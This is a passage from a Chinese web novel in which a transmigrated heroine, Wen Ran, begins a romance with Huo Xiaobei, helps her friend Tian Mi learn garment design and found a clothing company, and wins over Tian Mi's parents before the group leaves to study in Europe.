这时温苒从沙发下拖出两箱书,“这是托霍骁北找他同学搜罗来的,全都是服装设计相关的专业书籍,以后下班吃完晚饭你就看两个小时打基础。” 实际上,这些书全部来自系统。 看到这么多书,摞起来仿佛比她命还长,信心高涨的田蜜傻眼了。 “还、还需要看书呢?” 温苒了解她喜欢什么,抽出一本来随意翻开一页,瞥了眼是T恤剪裁的课程,递 给田蜜。 田蜜看到就挪不开眼珠子了,眼睛眨也不眨,“天!这书上讲得真好,还有图画,还是彩色的!” 她随口吹牛:“要是以前上学都是这种书,我能考七百上长华!” 温苒:“……” 长华能不能考上她不知道,但她知道劝学这招成了。 光学不行,裁衣服得动手。 温苒说道:“改天你放假,我跟你去服装批发市场买布料。我看了,每学完一课都有课后题,就是让你动手裁衣服,课后作业既能检验你的学习成果,还能卖出去。” 田蜜蹭一下坐直了,肉眼可见学习热情又高涨了一大截,“还能卖钱啊?” 温苒计划是这么计划的,学习的副产品变现,学习赚钱两不误。 “前提是你做出来的衣服好看、漂亮,才能卖钱。” 时下大城市里换衣服更多的是买成衣,但也有人家或是想省钱或是别的原因,要么买布自己裁,要么请裁缝做。 尤其这里是深海市,从民国开始就被深深打上了小资的标签,只要衣服够漂亮,多少钱也有人愿意拿。 有赚钱这根胡萝卜吊着,吃过晚饭后田蜜就抱着书本伏案苦学,瞧着比高考前还有劲头。 书桌纯是个摆设,连个桌灯都没有,光线一般般,温苒琢磨着明天拿一台台灯出来。 可别这姑娘没因为高考读书近视,反因为赚钱坏了眼睛。 次日一早,温苒和霍骁北骑自行车去理工大学,领了几份说明书翻译,中午在学校小吃街吃了顿麻辣烫。 ——不加麻也不加辣的麻辣烫。 偶遇霍骁北的班长焦维新和另外几位同学,互相认识后聊了几句,两人就回了老弄堂。 却不想等晚上陈晨三人回来,堵住两人就问:“说!你们是不是谈恋爱了!” 温苒:“……” 谁传的谣言? 竟然猜对了? 温苒大眼睛咕噜噜转一圈,反问:“你们听谁说的?” 陈晨双手抱胸,哼笑道:“别管谁发现的,你们只管承认就行!” 温苒学他的样子抱臂,哼笑:“我为什么要回答你的问题?” 三人:“……” 贱兮兮那样还真给你学得活灵活现? 霍骁北压着笑意看老婆逗人玩。 陈晨看看一脸神气的温苒,再扭头看看霍骁北,发现他笑着望向温苒一脸宠溺,瞬间就什么都明白了。 他跳起来指着两人,“还说没谈?你们就是谈了!焦维新和咱们同学都看见了,你们两个偷摸约会,还去学校小吃街吃饭!” 朱文喜和郑峰点头如捣蒜,“嗯嗯,他们都看见了,现在班里都知道了。” 消息能传这么快,一多半要归功于温苒的好相貌,另一半要归功于霍骁北。 原主长相就不错,霍骁北穿来之后长相气质更胜,要不是过于低调,一定得评个系草。 其实刚开学那场班会后,就有人觉得这两人在谈恋爱,还有挺多男生暗戳戳打听温苒。 这回消息传出去,想必那些男生应该死心了。 陈晨从小情侣口中得不到确定答案,虽然心里已经肯定,但总感觉怪不得劲。 于是等田蜜下班,陈晨拽着她到一旁,“蜜蜜,你知不知道,你家苒苒跟我们北哥俩人谈对象了!” 田蜜呆了呆,“啊?” 陈晨表情神秘兮兮,“是真的,不骗你,我们班长和班上许多同学都看见了,她俩偷摸约会,还一起去学校后门吃饭。” 他还强调:“就她俩,谁也没带!” 田蜜有点信了,其实她早就觉着苒苒和霍骁北有点不对劲,一直没好意思问。 好像她不问,这一男一女之间就没那个意思一样。 田蜜隐隐有点吃醋。 笔友这个事苒苒以前从来没提过,她们可是最好的朋友,苒苒不提,要么是因为那个笔友不重要,那么就是那个笔友很重要。 然而,苒苒来深海前就找笔友帮忙租房,不是非常信任是不会这样做的。 再加上这一个月相处下来,她眼睛又不瞎,能看不出来这两人互相有好感? 可知道是一方面,亲耳听到后田蜜心中忽然涌上失落。 她陷在自己的情绪中,后面陈晨再说什么也没进耳朵,连晚饭都没怎么吃。 温苒看在眼里,还以为她上班遇到麻烦了,让霍骁北另做了份宵夜端给田蜜。 田蜜捧着热气腾腾的面条,眼眶也热热的,忍不住吸吸鼻子,放下碗扑到温苒身上。 “苒苒,你结婚了我们还是最好的朋友吗?” 温苒满脑袋问号,她什么时候要结婚了? 不是?刚才陈晨还只是怀疑她跟霍骁北恋爱,现在怎么就快进到结婚了? 温苒低头看着田蜜,田蜜仰着脑袋眼泪汪汪,“陈晨说你跟霍骁北谈恋爱了,听说霍骁北是北方人,你们以后结婚是不是要回他老家?那我们就再也见不到了呜呜……” 温苒:“……” “咳,你先别哭,还没到结婚的地步。” 田蜜冒着泪的双眼蹭一下冒出火来,“什么?他不想跟你结婚?他耍流氓!” 温苒:“呃……” 田蜜腾一下站起来,怒火汹汹要往外冲,“我去找他算账!” 温苒赶忙拦住她,“不是不是,不是你想的那样。” 田蜜不情不愿坐下来,一副打破砂锅问到底的架势:“那是什么样?” 温苒只好跟她解释:“结婚太远了,现在只是谈谈而已。再说之后我们要出国去欧洲,霍骁北去美国留学,隔这么远以后的事情谁说得准?” 田蜜点点头,对,是她和苒苒两个人去欧洲,没有别人。 站在门口等拿碗的霍骁北气得咬牙,谈谈而已? 温苒好不容易哄好屋里那个,出来一转身就撞进硬邦邦的胸膛里。 她抬起头,对上霍骁北绷紧的下颌和恼火的眼神。 男人步步紧逼,她被迫贴到墙上,只听他语气咬牙切齿:“结婚的事说不准?” 温苒:“……” 温苒揪住他衣角,心虚地垂下眼睛,“我那是,就说说而已,都是为了……” 还没说完,就听头顶又飘来一句:“谈谈而已?” 温苒:“……” 但温苒理亏在前,只好再哄一哄这男人。 “谈谈,然后结婚嘛,你说我们是出国之前结婚,还是什么时候?都听你的!” 温苒攀上他手臂晃了晃,抬眸眼巴巴望着他。 霍骁北:“……别这么看我。” 他想现在立马领证,晚上就能抱着媳妇儿睡觉。 霍骁北故意偏开头,抿紧嘴角,低沉的嗓音表达不满:“不能不带她?” 温苒:“……” 酸死你算了! 什么醋都吃! 第136章 第136章九零国际超模6 这之后,温苒和霍骁北虽然没有公开宣布恋爱,但言行举止已和恋爱无异,而且并不避讳同一屋檐下的其他人。 当然,两人没有特殊癖好,亲亲抱抱都在私下里只有两个人的时候。 因此其他人看来,这两个好像恋爱了,又好像没有证据。 陈晨一度费解,去撺掇田蜜追问真相。 田蜜勉勉强强算是接受了最好的朋友恋爱的事实,但不代表她就有多开心。 陈晨三人找到她头上来,她翻个白眼,不客气道:“没谈怎样?真谈了又怎样?又不是你谈!” 朱文喜推了推眼镜,瞅出点什么来,问道:“你不想她们两个谈?” 听见这话陈晨狐疑地盯着田蜜,“你不想她们两个谈!为什么?” 难道……莫非……这个小田也喜欢他们北哥?! 我的老天! 这怎么成? 田蜜小心翻过一页书,这可是苒苒给她找的,她都不舍得在上面写写画画。 “我可没说不想让她们谈,只是她们俩才认识多长时间就在一起?还是你们北哥主动的,他了解苒苒吗?苒苒了解他吗?” “别是只看我家苒苒长得漂亮谈谈而已,等他出国留学一去就是三四年,说不定等毕业还要留在美国,哪还记得我们苒苒?” 三人听完沉默着面 面相觑。 你别说,人家考虑得有门儿有理儿。 但陈晨没忘了自己是哪边儿的,梗着脖子反驳:“谁说不了解的?她俩以前是笔友,认识也不止这点时间。再说我们北哥才不是始乱终弃的人,他以前都没谈过对象,现在主动追求你们苒苒,更能证明两人是真爱!” 朱文喜讶异侧目,你可真能吹,你个二十多年老光棍你知道什么是真爱? 田蜜翻了个大大的白眼,真爱没看出来,陈晨是他北哥的脑残粉看出来了。 脑残粉这词还是跟苒苒学的,之前还只是觉得新奇,今天有幸见到活的了。 陈晨手掌压在桌子上,“你不信是吧?那我们就打个赌,我赌她们两个一定结婚!而且不会因为留学分手!” 田蜜才不玩这种小学生游戏,捧着书背过身去。 她才不赌,反正这事输赢都没多大差别。 赢了,说明霍骁北是个专一深情的好男人。 输了,反正苒苒说她只是谈谈,分手就分手呗。 但这之后,陈晨和田蜜就暗中较上了劲。 今天陈晨炫耀我们北哥多么多么厉害,编的游戏软件卖了两万块。 明天田蜜得意地举着一沓美元从陈晨面前招摇而过,“哎呀,我们苒苒帮人家老板谈成一笔订单,一天就赚了五千块!还是刀乐哎!” 换算成人民币,这就是四万块。 气得陈晨恨铁不成钢地看着霍骁北,好像他的北哥再也不是他崇拜的偶像了,只是一个结婚以后靠媳妇儿吃软饭的软饭男! 霍骁北:“……” 朱文喜严肃地推了推眼镜,感觉众人皆醉我独醒,为什么没人怀疑温苒一个高考四百多分的‘学渣’的外语水平呢? 朱文喜不解,朱文喜一个外语苦手大为震撼。 他秉着虚心请教的心情开口:“那个,苒苒,你的口语是怎么练的?” 听见这话,田蜜把钱收起来,也看向闺蜜,“对啊,苒苒你什么时候学的?” 温苒一本正经回答:“外语其实很简单,多听听广播多读多说,口语中语法没那么重要,又不是考试,大家听得懂就行。” 她又举了好多中式英语的例子,最后总结:“语言的最终目的是交流,只要互相能明白对方表达的意思,口音和语法都不重要。” 朱文喜一脸受教,决定买个收音机回来天天听广播练口语。 陈晨问他:“你外企的面试过了吗?” 朱文喜摇头,“还在等电话,希望能过。” 霍骁北又问郑峰:“你打算进哪家公司?” 郑峰挠头,“我爸说让我回老家,进电网工作。” 朱文喜道:“那也不错了,旱涝保收。” 国企安稳,郑峰又是理工大学毕业,高学历人才,升职也就是三五年的事。 霍骁北在等明年的公费留学名单,这一届变数很大。 据说明年国家全面取消公费生名额,深海是一线城市,市里几所大学也最先全面施行这个政策。 学费标准提高,学校额外多出学费这笔收入,这意味着学校经费充裕。 但也有消息说,学费归学校支配后,政府拨给学校的经费就会相应减少。 到底会不会削减经费,削减的话又会减到多少,极有可能会影响留学名额。 深海财政收入在全国排名前列,市政府在留学经费方面向来大方,但因政策有一两年变动也不是不可能。 霍骁北倒不是贪图那些经费,他在意的那个名额。 他和温苒已经在着手攒钱,政府提供的经费完全可以留给更需要的人。 但留学名额霍骁北并不想放弃。 公费留学一应手续有学校帮忙办理,自费留学不仅需要额外缴纳一笔费用,还需国外大学的邀请函,手续极其复杂。 而像温苒的情况属于出国务工,比留学手续更加繁琐困难。 比较麻烦的是,温苒还远不到法定结婚年龄,不能通过和霍骁北结婚降低办理手续的难度。 田蜜的第一次课后作业是件连衣裙,淡绿色收腰半袖,做好刚洗干净晒出去,就有弄堂里的住户过来询问在哪儿买的。 彼时田蜜在商场上班,温苒从布料到剪裁到设计夸得天花乱坠,替她卖出去了八十元高价,成功让买卖双方都满意得不得了。 田蜜下班回来看到这么多钱,又蹦又跳嚎得楼上楼下都捂耳朵。 刘阿婆晃着扇子摇摇头,“哎哟现在的年轻人真是,一点都不稳重的!” 张阿公鼓捣着拉大锯的收音机,敷衍地嗯嗯点头。 好东西最怕宣传,住户把裙子穿出去后,逢人便有人问。 于是一来二去,就有许多人上门要裁衣服。 田蜜激动得话都说不出来,温苒见状主动替她招呼客人。 温苒:“现在接不了太多单子,一个月最多三单。” 顾客不大满意。 田蜜欲言又止,很想说,她可以把工作辞了,一个月别说三件十件她都能做。 温苒向顾客解释:“我们做的是精品,布料都是好料子,做工和剪裁也都是花了心思的,跟外面工厂流水线做出来的成衣有着本质区别。” 简而言之:高端,精品,上档次。 不然也不能一件裙子卖八十块不是? 你说八十块不算贵,商场里那些外国牌子一件都要几百块的! 那正好,温苒摊手回道:“所以我们是小本生意,也就赚个辛苦钱罢了。” 一番话下来,让顾客们掏钱掏得心甘情愿,还觉得自己占了大便宜。 登记好顾客名单,收上定金,量好尺寸,约定交货日期,客人们一窝蜂来一窝蜂走。 田蜜抓着温苒急急说道:“苒苒你怎么把她们都拒绝了?一个月别说三件,我十件八件都能做!” 门口纳鞋底的刘阿婆抬头说道:“你个小姑娘口气真大嘞!十件八件岂不是要熬夜才能做完?眼睛要瞎的呀!” 田蜜愣了下,反应过来立马去抱温苒,感动得快要掉眼泪了。 “苒苒你对我真好!” 温苒心说,其实也没那么好。 她也不知道给田蜜那样大一个目标到底是不是为田蜜好,若是到时没法出国,也没法实现创办服装品牌的愿望,田蜜会不会怨她? 田蜜兴冲冲去裁布料做衣服,温苒去了对门,进去霍骁北房间趴到他床上就开始唉声叹气。 霍骁北放下论文,过去在她身边坐下,低头亲了亲温苒额头,“怎么了?听楼下的动静客人应该不少。” 温苒点点头,“我不是担心这个,我在担心别的。” 她爬起来看着霍骁北,“我有点后悔了。” 出国不是件简单的事。 温苒孤家寡人的,去哪里都无所谓。 但田蜜不一样,她有家人。 如果她父母不同意她也选择听从父母的意见,以后想起曾经的雄心壮志会不会后悔? 如果她父母不同意而她坚持,好好的家庭关系就因为温苒的鼓动破裂,田蜜是一定会后悔的! 温苒把自己担心说给霍骁北听,希望他要么出个主意,要么安慰安慰自己。 结果就见他沉吟片刻,面无表情地冷酷道:“那就不带她。” 温苒:“……” 就不该问这个狗男人! 想也知道他说不出什么好话来! 温苒推开他,躺回去生闷气。 霍骁北挨着她躺下,拉着她的手语重心长:“我觉得你在这个朋友身上花费的心思太多了。” 温苒甩开他,重重地:“哼!” 霍骁北再拉上她的手,“就算不为我花心思,也多在自己身上花心思。她是个成年人,不是没你就活不了。” 说来温苒朋友很多,但第一次遇到像田蜜这样的情况。 两人出门在外,刚步入社会的年纪,田蜜在心理上十分依赖温苒。 温苒性子也好,什么事情都是手把手教导田蜜。 霍骁北才没那耐心,做什么怎么做为什么那么做他只会解释一遍,不听那就等着吃教训。 一开始他还会吃醋媳妇儿在别人身上花心思 ,后来就只会心疼媳妇儿。 但这种事他说了温苒也不会听。 霍骁北换了个方式劝她:“你给她吊了个出国留学的胡萝卜,留学的花费怎么办你有想法吗?几十万的学费,她愿意,她父母未必愿意。” 温苒:“……” 温苒恨不得咬他,本来就够头疼了,还问这个?! 霍骁北凑近了,捏捏她鼓起来的脸颊,“你问问我,说不定我有个好办法?” 温苒气愤地磨着牙瞪他。 第137章 第137章九零国际超模7 温苒催促:“你快说!” 霍骁北不为所动,稍稍偏了偏头,眼神示意。 温苒鼓鼓脸颊,吧唧上去亲了一口,没好气道:“现在可以说了吧?” 霍骁北这才开尊口:“简单,先让她办服装品牌,赚够钱再申请留学。” 温苒:“……” 白亲了! 见她不满意,霍骁北皱了皱眉,“你不会打算替她出学费吧?” 温苒眼睛亮了亮,“这个主意不错!” 霍骁北:“……” 感情他还变相提醒她了? 温苒越想越觉得这个想法很好,“学费就算作我们合伙入股了。” 她虽然也会学设计,但工作重心大概还在模特事业上,以后创办品牌大概还是田蜜负责主要的管理经营。 不过她出学费这个想法暂时只作为备用,假如田蜜父母不同意她出国,而田蜜又坚持的话,温苒才会提出来。 霍骁北看不下去了,她自己的学费都没攒够,去了欧洲能不能顺利入行,入行以后收入多少都难说,还想再负担一个人的学费? “你最好跟她讲明情况,她或许只是三分钟热度,况且出国这么大的事总要参考父母的意见。” 霍骁北不觉得田蜜父母会同意她出国。 据温苒讲,田家虽然经商还算富裕,年景好的收入勉强能到十来万。 而出国留学,单是一年的学费就不止这点,再加上生活费,绝不是田家能够负担得起的。 温苒比霍骁北更清楚田家的情况,田蜜还有个哥哥正在谈对象马上结婚,父母两边也各自亲戚需要帮衬,所以指望田蜜得到家庭的金钱支持很难。 找了个田蜜放假的时间,温苒跟她出去逛街吃饭,郑重严肃地替她剖析了自身的情况,并让她好好考虑考虑。 田蜜咕噜噜灌了杯可乐,一擦嘴斩钉截铁道:“不用考虑了,我一定要出国!” 她着急地抓住温苒手臂,“苒苒你是不是不想带我一块?你不能丢下我啊苒苒!我们可是最好的朋友!” 温苒好奇问她:“所以你是因为不想跟我分开,见我想出国,你才坚持的吗?” 温苒要去国外发展是迫不得已,到国外以后情况如何还不好说,用前途渺茫来形容也不为过。 田蜜点点头,然后摇了摇头,“有这个原因。” “可我也想去国外见识见识,就算申请不到大学,我也能在那些服装公司打工,学到东西再回国。” 温苒盯着她左看看右看看,看得田蜜一头雾水,“苒苒,你看什么呢?” 温苒摸着下巴沉吟片刻后说道:“那你接下来要好好想想,怎么说服赵姨和田叔,如果她们不支持事情会很难办。” 现在可不是后世,办护照既要跑人情严格的还要背调,如果田蜜父母不同意,护照很可能办不下来。 田蜜拍着胸脯保证,“放心吧!我爸妈不答应我就磨到她们答应为止!实在不行我就绝食!” 温苒汗颜,要是叔叔阿姨知道田蜜出国是她鼓动的,怕是要恨死她了。 但没办法,谁让田蜜铁了心要出国? 温苒不嫌事大地给她出主意:“那你这半年要好好看那些书,做出点成绩,外语也每天多练练,不然到了叔叔阿姨面前,一问你连话都说不明白肯定不放心你出国。” 田蜜开启了白天上班,下班用功,假期接单的规律生活。 温苒考虑得就多了。 出国以后的生活费是个大难题,她就是连轴转编软件搞翻译,一年时间够呛能攒够。 游戏软件没有新意的话多了不值钱,也没那么多翻译工作给温苒做。 国外也不清楚是个什么光景,如果一直失业没有收入,国外生活水平又高,一个月一千欧都打不住。 温苒思来想去,还是得做生意! 她翻了翻来自系统的给田蜜的那些书,边看边随手画设计图,才几天就攒了一沓几十张。 田蜜随手帮忙整理,瞥到的时候都惊呆了,这些设计兼具观赏性和艺术性,风格独特鲜明,足可以和书上举例的大师作品相媲美。 “苒苒,这、这都是你画的?!” 田蜜既震撼又羡慕,还与有荣焉。 温苒点点头,抬头问道:“你觉得怎么样?” 田蜜一张张翻过去,看了一遍又一遍,爱不释手,“好!太好了!” 温苒又问:“你觉得这些衣服做出来有市场吗?” 田蜜顿住,然后迟疑了:“这些设计如果做成高端服饰,应该……很难卖出去。” 田蜜工作的商场里,一般服装店挂售的服装就属于较高端的了,熟客都是一季光顾一次,逛店里的时候摸一摸试一试讲讲价很常见。 而那些外国服装品牌的门店,衣服漂亮是漂亮,但标价高到吓人,随便一逛都是几百块,普通顾客只敢在店外看一眼就匆匆路过,进去试衣服的半个月不见得能有几位。 在田蜜看来,温苒的这些设计图是和橱窗里那些几百上千块的衣服应该摆在一起。 好看,但有价无市。 温苒也是这么想的,“如果做成普通服装呢?” 听见这话,田蜜抱着设计图后退一大步,愤怒地瞪着温苒:“不行!我不同意!这是在暴殄天物!苒苒,你怎么能这么对待自己的设计?” 温苒目瞪口呆。 田小蜜,之前还口口声声我们是最好的朋友,好姐妹有福同享有难同当的,现在就为了几张设计图都对我大小声了? 世风日下啊! 人心不古啊! 温苒尝试伸手去拿,谁知田蜜护得更紧,警惕地看着她跟护崽子似的。 温苒:“……” 她招手让田蜜过来,田蜜小心翼翼地扯了张凳子,就在原地坐下。 田蜜:“你说吧,我听得见。” 温苒:“……” 温苒只好道:“我想现在就办自己服装的品牌。” “留学费用很高,光凭我打零工凭你做衣服,猴年马月都攒不够钱,所以我想开公司,先赚钱再出国。” 让温苒把田蜜丢下自己出国她做不到,而且这样一来,赵姨田叔那关也好过。 田蜜被忽悠地温苒说什么就听什么。 温苒说要买 地皮建厂房买机器,田蜜就辞了工作跟她满城跑。 翻译工作认识了几个经理,温苒低价买到被淘汰的二手机器,修修改改投入使用。 田蜜坚持不肯浪费温苒的设计,两人只好没日没夜整理出另外几十种基础和日常款式,目标瞄准中端市场。 之后布料采购、成衣销售,在霍骁北四人的帮助下,六个人跑遍深海以及周边几个城市,跑断腿磨破嘴才拿到了将近十万块的订单! 工厂机器和工人三班倒,加班加点在腊月初十以前全部交货。 歇了几天喘口气,几个年轻人聚在一起疯玩一个星期,吃了顿团圆饭,就各自买票回老家了。 霍骁北大学几年就没回过家,以往陈晨都邀请他去自己家过年,虽然他一次也没去过。 今年是个例外。 霍骁北要陪温苒回老家,她那好二叔一家锒铛入狱,商场的生意暂时由田叔叔照看。 这次回老家,除了办理护照外,就是处理原主父母留下的几家商场。 温苒打算租出去,她以后在深海生活,模特工作顺利的话会国内国外两头飞,应该很好再回老家,也顾不上老家的商场。 田蜜对说服爸妈答应她出国势在必得,一闲下来就拽着温苒帮忙参谋礼物,手头有钱到了商场一通买买买。 连她曾经望而却步的千元名牌裙,她都大手一挥,给自己、给温苒、给她妈以及给未来大嫂一人一件。 什么金镯玉镯金戒指之类的,也是毫不犹豫就刷卡。 温苒很想劝她悠着点,意思意思就行,咱这是不过了啊?咱们留学的学费才刚有个底啊! 田蜜振振有词:“舍不得孩子套不着狼,我现在花这点,等我爸妈答应我出国,十倍我都能赚回来!” 温苒:“……” 有这么个闺女,叔叔阿姨真是辛苦了。 过年前票不好买,车站人山人海的,要不是有霍骁北护着,温苒感觉自己可能被挤成肉饼。 事先打过电话,到站下车后,田蜜眼尖看到她爸和大哥等在出站口,边挥手臂边大喊着,撒丫子就冲过去了。 温苒和霍骁北不紧不慢跟在后头。 见了面先寒暄,寒暄完上车,田叔靠在副驾驶上,笑着说道:“你赵姨弄了一大桌好菜,骁北,到时候陪叔叔喝两杯?” 霍骁北接受长辈拷问的时候,温苒被田蜜缠着,叽叽喳喳听她讲这几天要去哪里玩。 到了田家,先热热闹闹地吃了顿团圆饭,接着挪窝到客厅,开着电视聊天。 第一个环节就是拷问霍骁北,个人情况家庭情况计划毕业以后在哪儿发展等等。 估计以后田蜜谈恋爱了,她对象也会经历一样的流程。 霍骁北自然而然把话题拐到留学上去,之后温苒和田蜜顺着台阶宣布,两人也要出国留学。 听到这话,赵姨和田叔先愣了下,赵姨看了眼霍骁北,皱着眉头看向温苒:“苒苒,你要跟骁北出国?” 这两人恋爱她不会反对,对方是个大学生,模样端正彬彬有礼,就是温苒亲妈回过来也看得上这个女婿。 但陪着一起出国,不说温苒爸妈不同意,她也不会同意。 田蜜急吼吼证明自己的存在感,“妈还有我!我也要出国!” 田叔拽了把闺女,严肃道:“这会儿哪有你的事!还你也要出国?你咋不上天呢?” 温苒眨眨眼,“田叔,我跟蜜蜜是打算一起出国留学,去欧洲申请服装设计专业。” 田叔没反应过来,“啥?去欧洲?留学?那不是大学生才能去的吗?” 田蜜拽了把她爸,“爸你听我说,我和苒苒已经在攒学费了,等攒够学费就出国。” “不信你看!” 田蜜站起来噔噔噔抱来行李,拆开给大家发礼物。 “妈,这是给你买的裙子!” 赵姨欣慰地接过来,吊牌无意间翻开,吓得她眼珠子都瞪出来了,声音拔高:“一千六!” 而像这样的裙子还有三条! 接着是金银玉首饰,全国知名的老品牌包装加合格证书加发票,震得田蜜爸妈和大哥气都不敢喘大力了。 田叔喃喃:“乖乖!你们这是抢银行了吧?” 就这些,这些全加起来,顶得上他累死累活干三四个月了。 田叔看向媳妇儿,“孩子她妈,那会儿她出去打工,你是不是偷摸给她钱了?” 赵姨恍恍惚惚,“我又不傻!我后来就补了一千块,让孩子别惜着吃喝再亏了身体。” 接下来就是田蜜的表演时间,从白手起家讲到艰苦创业,再到付出辛苦收货甜美果实。 温苒跟霍骁北说悄悄话,“看得出来,她语文功底不错。” 第138章 第138章九零国际超模8 赵姨不敢置信。 田叔难以相信。 田大哥自惭形秽。 所以,她们家高考三百多分的落榜学渣,去了趟上海就发了! 小半年时间办了个厂,赚了大几万,还打算出国进修? 赵姨抬手拧了一把大腿,田叔嗷一声惨叫蹿起来,“你拧我干什么?” 赵姨看着他,恍然大悟一般说道:“原来不是做梦?” 田叔:“……” 所以两个小姑娘真的办了厂还赚了钱? 刚起步就能赚十万八万的,发展起来还了得? 温苒和田蜜取得的‘小小’成绩,让夫妻俩重新认识了这两个小姑娘,也让她们正视并重视起了她们的想法。 所谓出国进修,不是想一出是一出闹儿戏。 夫妻两个认真思考了几天,温苒几个就疯玩了几天。 玩够了,再吃个饭开个会,投票表决。 田大哥已经被洗脑了,坚决支持两个妹妹出国进修。 赵姨表情严肃,“你们两个出国,那国内的生意怎么办?” 温苒先看了眼田叔,才开口说道:“卖了?” 话音刚起就被打断,赵姨急得排着桌子反对,“不行!怎么能卖了?那是你们的心血!你们就是为了这个公司才去进修,现在卖了以后回国怎么办?” 温苒试探道:“那赵姨,你能不能帮帮我们?” 田家生意刚起步的时候,赵姨也是出了力的,后来才闲下来。 但也不是就真的不沾手生意,她跟别人合伙开了美容店,在老家这边小有名气。 赵姨经营有道,难得的是审美在线,如果有她加入,就算之后温苒出国,公司生意也不会出现大波动。 赵姨愣了下,陷入思考。 田叔一看指着温苒和田蜜,又气又想笑:“你们两个机灵鬼原来打得这个主意?你们想干什么?让我们夫妻分隔两地你们居心何在?” 温苒&田蜜:“……” 田叔拍桌:“我不同意!” 田蜜急着就要开口劝说,却不想下一秒就听她的老父亲撂下话:“除非我也一起去!” 田蜜愣住:“啊?” 田大哥呆了呆:“啊?!” “都走了,那家里生意怎么办?” 田大哥不敢置信,田大哥手足无措,没人跟他说是这个后果啊? 田叔恨铁不成钢地看着儿子,“啊什么啊?” “你多大人了?你马上就毕业马上就结婚了!还想靠父母呢?” 田叔指了指温苒,“看看你这个妹妹!” 又指指田蜜,田蜜骄傲自豪地挺起胸膛,等着来自老爸地夸赞,结果听到:“还有这个,她们俩加起来还没你爸岁数大,出去小半年捯饬出来个公司,赚得比你爸一年都多!” 田蜜:“……” 她就只是‘这个’…… 田叔指着儿子,“再看看你!” 田大哥惭愧低头,小声嘟囔:“那我也不会裁衣服!” 田叔瞪他,“那是会不会裁衣服的事吗?” “世界上那么多会裁衣服的,有几个能想到办厂?有几个想办厂还办起来了?有几个办了厂赚了大钱还没被钱迷眼睛,反而沉下心来想到去进修的?” 夫妻两 个没明说,但私底下都觉得两个孩子虽然年轻,但心性坚定,有远见,能豁得出去。 换个人,哪怕换成跟夫妻两个一样年纪的,赚了十万也只会想着扩大规模赚二十万三十万,先把钱搂到手再说。 盲目也是一种不思进取。 反而是温苒和田蜜,赚了钱决定出国进修才更可贵。 最大的难题解决,接下来就是两人的护照问题,田叔又是花人情又是大破费,才有了准信说一个月以后来拿。 老家这边护照和家里生意都留给了田大哥操心,元宵节一过,夫妻两个就跟着温苒三个年轻人踏上了前往深海的火车。 刘阿婆和张阿公过了个孤零零的年,想起那帮年轻人在的时候,咋咋呼呼的但热闹啊,瞧着心里就高兴,日子也有滋味。 哪像现在? 两张老脸面对面,真是多看一眼都嫌弃。 因此一行人大包小包出现时,给老两口乐得不轻。 赵姨和田叔边给拿土特产边道歉:“老叔,老婶,我们且得待上个十天半个月的,等事了了才能搬出去,这段时间要叨扰二位了!” 刘阿婆忙摆手,嗔道:“叨扰什么叨扰,尽管住就是,又不是没给房租!” 上楼喝杯水,先拾掇屋子。 赵姨和田叔住田蜜那屋,田蜜和温苒挤一挤。 两口子可有精力了,温苒坐一天车骨头都酥了,收拾完自己房间躺下就不想动,她俩还拽着霍骁北去菜市场买菜,回来摆一桌大餐请楼下房东夫妻吃饭。 不仅如此,第二天两口子就去了公司。 为了让赵姨和田叔对公司有个初步了解,温苒召集员工开了场会。 春节是服装市场旺季,前后快两个月的时间,公司的服装在深海和附近几个城市卖得异常火爆,陆续销售一空。 据销售经理说,大年夜都有客户来电话下订单,没过初十就有深海本地的商场过来签合同催货。 现在积累的订单,足够工厂全力生产两个月的。 温苒想了想说道:“开春后气温回升,冬衣市场回落,这些订单可能会被压价。你重新联系这些客户,向他们推销公司的春季系列,这个系列除成衣外还搭配有手包配饰,样品一周之内会做出来。” 经理是温苒从别的公司挖过来的,并不敢因为温苒年纪小就小觑她,连忙道:“是。那之后每个季度是不是都会出新品,需不需要提前通知客户?” 温苒点头,“提前一个月通知,并停止提供上一季度的服装。另外,要求客户在店里专门辟出一个区域,售卖琅仙的服装。” 她们要创办自己的品牌,光卖衣服不行,还要把品牌树立起来。 首先第一步,就是刷存在感,让琅仙在顾客心里占有一席之地。 “还有,我们公司需要有自己的门店。” 温苒有条不紊地下发任务,看在夫妻两个眼里满是欣慰。 同时她们也清楚,这家公司能办起来,她们那笨闺女压根没起什么作用。 开完会,温苒带她们去工厂转了转。 工厂还没正式复工,只有一条线在工作,但看得出来管理有成。 参观完工厂,温苒表示:“叔叔阿姨不能白来帮忙,我和田蜜商量,打算拿出一成股份聘请二位。” 赵姨和田叔想也不想就拒绝。 赵姨摆手,“哪能要你们股份?我和你叔就是来工作的,工作就拿工资,该给多少给多少,你们小姐妹的生意我们掺和!” 本来闺女拿一半闺女就是占了大便宜,她们两个长辈还拿,那不是欺负人吗? 二人坚持不要,温苒只能在工资上多补贴她们。 有人帮忙管理,还是两个经营有道的人才,温苒的工作顿时轻松许多,只需要把握大方向即可。 腾出来的时间,温苒一方面继续看书学习设计,另一方面也没断了翻译工作。 书面翻译她几乎不再接取,进行的多是商务性质的现场翻译,便于她结交拓展人脉。 新学期开学,霍骁北的三个舍友陆续回到弄堂。 开学就宣布了公派留学名额,霍骁北榜上有名,之后飞快进行留学手续。 霍骁北考上大学后户口就随之迁到了深海市,学校集中办理留学手续走加急通道,不到一个月他就拿全了证件。 之后他按照流程申请心仪的大学和专业,得到答复后专心准备毕业论文和设计。 他这边闲下来,还要帮陈晨参谋留学的大学和专业。 和霍骁北不同,陈晨是自费留学,因语言要求,需要先读一年预科。 另外陈晨想和霍骁北读同一所大学同一个专业,考虑到对方招生的严格程度,先申请对口预科比较容易。 田蜜和陈晨的情况大差不差,也需要先读预科适应环境,再正式申请大学。 温苒不打算浪费这一年,通过大学要求的语言考试后,可以直接入学。 但同时考虑到她的重心是原主的模特梦想,所以她打算到国外后以‘叔叔过世,经济困难’的理由申请推迟一年入学。 推迟这一年也不为别的,至少先入个行。 拿到offer后,温苒和田蜜马不停蹄去办理签证。 就在订好机票即将出发前,温苒偶然读报纸看到:某某模特经纪公司举办第XX届模特大赛…… 温苒:“……” 所以前两年都没办是有什么心事吗? 这公司还是长京的,在深海没有分部,据报纸上介绍全国就这么一家大型模特经纪公司。 而温苒偏偏来的深海市,四处入行无门,只能费老大劲出国。 结果偏偏在出国前两天让她看见这则广告…… 温苒叹气,算了,机票都买了,不去就亏了。 霍骁北提前申请了论文答辩,一起买票飞英国,之后再飞美国。 他虽然是公派留学,但特别申请自费,所以行动比较自由,只要及时和大部队汇合就可以。 陈晨都是他北哥怎么做他就怎么做,毕业典礼也不参加了,收拾收拾一起飞英国。 